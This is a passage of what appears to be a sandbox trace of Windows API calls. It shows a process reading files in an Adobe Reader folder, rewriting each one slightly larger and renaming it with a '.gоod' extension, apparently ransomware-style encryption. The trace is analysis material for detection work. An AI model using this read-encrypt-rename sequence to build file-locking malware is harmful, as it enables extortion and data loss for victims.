dwReserved1=0x0, cFileName="turnOffNotificationInTray.gif", cAlternateFileName="TURNOF~2.GIF")) returned 1 [0108.945] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388e0edd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOnNotificationInAcrobat.gif", cAlternateFileName="TURNON~1.GIF")) returned 1 [0108.946] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOnNotificationInTray.gif", cAlternateFileName="TURNON~2.GIF")) returned 1 [0108.946] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.gif", cAlternateFileName="")) returned 1 [0108.946] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.gif", cAlternateFileName="")) returned 0 [0108.946] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0108.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0108.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0108.947] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif", lpFilePart=0x0) returned 0x4e [0108.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0108.947] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\add_reviewer.gif"), fInfoLevelId=0x0, lpFileInformation=0x33e1098 | out: lpFileInformation=0x33e1098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387172c5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x53a)) returned 1 [0108.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0108.949] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif", lpFilePart=0x0) returned 0x4e [0108.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0108.949] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\add_reviewer.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0108.949] GetFileType (hFile=0x7dc) returned 0x1 [0108.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0108.949] GetFileType (hFile=0x7dc) returned 0x1 [0108.949] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x53a [0108.949] ReadFile (in: hFile=0x7dc, lpBuffer=0x33e18b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x33e18b0*, lpNumberOfBytesRead=0x1f35bf48*=0x53a, lpOverlapped=0x0) returned 1 [0108.950] CloseHandle (hObject=0x7dc) returned 1 [0109.949] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif", lpFilePart=0x0) returned 0x4e [0109.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0109.949] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\add_reviewer.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0109.950] GetFileType (hFile=0x6e4) returned 0x1 [0109.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0109.950] GetFileType (hFile=0x6e4) returned 0x1 [0109.950] WriteFile (in: hFile=0x6e4, lpBuffer=0x347e1a8*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x347e1a8*, lpNumberOfBytesWritten=0x1f35be58*=0x540, lpOverlapped=0x0) returned 1 [0109.951] CloseHandle (hObject=0x6e4) returned 1 [0109.951] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif", lpFilePart=0x0) returned 0x4e [0109.951] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif.gоod", lpFilePart=0x0) returned 0x53 [0109.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0109.952] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\add_reviewer.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387172c5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3dbff158, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x540)) returned 1 [0109.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0109.952] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\add_reviewer.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\add_reviewer.gif.gоod")) returned 1 [0109.952] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif", lpFilePart=0x0) returned 0x44 [0109.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0109.952] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\bl.gif"), fInfoLevelId=0x0, lpFileInformation=0x347f468 | out: lpFileInformation=0x347f468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3873d518, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x53)) returned 1 [0109.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0109.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif", lpFilePart=0x0) returned 0x44 [0109.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0109.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\bl.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0109.953] GetFileType (hFile=0x6e4) returned 0x1 [0109.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0109.953] GetFileType (hFile=0x6e4) returned 0x1 [0109.953] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x53 [0109.953] ReadFile (in: hFile=0x6e4, lpBuffer=0x347f748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x347f748*, lpNumberOfBytesRead=0x1f35bf48*=0x53, lpOverlapped=0x0) returned 1 [0109.954] CloseHandle (hObject=0x6e4) returned 1 [0110.225] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif", lpFilePart=0x0) returned 0x44 [0110.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0110.225] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\bl.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0110.226] GetFileType (hFile=0x6e4) returned 0x1 [0110.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0110.226] GetFileType (hFile=0x6e4) returned 0x1 [0110.226] WriteFile (in: hFile=0x6e4, lpBuffer=0x340e7e8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x340e7e8*, lpNumberOfBytesWritten=0x1f35be58*=0x60, lpOverlapped=0x0) returned 1 [0110.227] CloseHandle (hObject=0x6e4) returned 1 [0110.227] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif", lpFilePart=0x0) returned 0x44 [0110.227] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif.gоod", lpFilePart=0x0) returned 0x49 [0110.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0110.227] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\bl.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3873d518, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3deadcbd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0110.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0110.227] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\bl.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\bl.gif.gоod")) returned 1 [0110.228] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif", lpFilePart=0x0) returned 0x44 [0110.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0110.228] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\br.gif"), fInfoLevelId=0x0, lpFileInformation=0x340fa78 | out: lpFileInformation=0x340fa78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x52)) returned 1 [0110.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0110.228] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif", lpFilePart=0x0) returned 0x44 [0110.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0110.229] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\br.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0110.229] GetFileType (hFile=0x6e4) returned 0x1 [0110.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0110.229] GetFileType (hFile=0x6e4) returned 0x1 [0110.229] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x52 [0110.229] ReadFile (in: hFile=0x6e4, lpBuffer=0x340fd58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x340fd58*, lpNumberOfBytesRead=0x1f35bf48*=0x52, lpOverlapped=0x0) returned 1 [0110.230] CloseHandle (hObject=0x6e4) returned 1 [0110.257] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif", lpFilePart=0x0) returned 0x44 [0110.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0110.257] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\br.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0110.758] GetFileType (hFile=0x20c) returned 0x1 [0110.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0110.758] GetFileType (hFile=0x20c) returned 0x1 [0110.758] WriteFile (in: hFile=0x20c, lpBuffer=0x387c1e0*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x387c1e0*, lpNumberOfBytesWritten=0x1f35be58*=0x60, lpOverlapped=0x0) returned 1 [0110.759] CloseHandle (hObject=0x20c) returned 1 [0110.759] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif", lpFilePart=0x0) returned 0x44 [0110.759] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif.gоod", lpFilePart=0x0) returned 0x49 [0110.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0110.759] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\br.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3e3beb52, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0110.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0110.759] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\br.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\br.gif.gоod")) returned 1 [0110.760] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif", lpFilePart=0x0) returned 0x4d [0110.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0110.760] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\create_form.gif"), fInfoLevelId=0x0, lpFileInformation=0x387d470 | out: lpFileInformation=0x387d470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x4aa)) returned 1 [0110.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0110.761] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif", lpFilePart=0x0) returned 0x4d [0110.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0110.761] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\create_form.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0110.761] GetFileType (hFile=0x20c) returned 0x1 [0110.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0110.761] GetFileType (hFile=0x20c) returned 0x1 [0110.761] GetFileSize (in: hFile=0x20c, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x4aa [0110.761] ReadFile (in: hFile=0x20c, lpBuffer=0x387dbe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x387dbe8*, lpNumberOfBytesRead=0x1f35bf48*=0x4aa, lpOverlapped=0x0) returned 1 [0110.762] CloseHandle (hObject=0x20c) returned 1 [0110.798] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif", lpFilePart=0x0) returned 0x4d [0110.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0110.798] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\create_form.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0110.799] GetFileType (hFile=0x20c) returned 0x1 [0110.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0110.800] GetFileType (hFile=0x20c) returned 0x1 [0110.800] WriteFile (in: hFile=0x20c, lpBuffer=0x38f6780*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x38f6780*, lpNumberOfBytesWritten=0x1f35be58*=0x4b0, lpOverlapped=0x0) returned 1 [0110.800] CloseHandle (hObject=0x20c) returned 1 [0110.801] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif", lpFilePart=0x0) returned 0x4d [0110.801] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif.gоod", lpFilePart=0x0) returned 0x52 [0110.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0110.801] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\create_form.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3e40ade4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4b0)) returned 1 [0110.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0110.801] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\create_form.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\create_form.gif.gоod")) returned 1 [0110.802] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif", lpFilePart=0x0) returned 0x51 [0110.802] SetThreadErrorMode (dwNewMode=0x1, 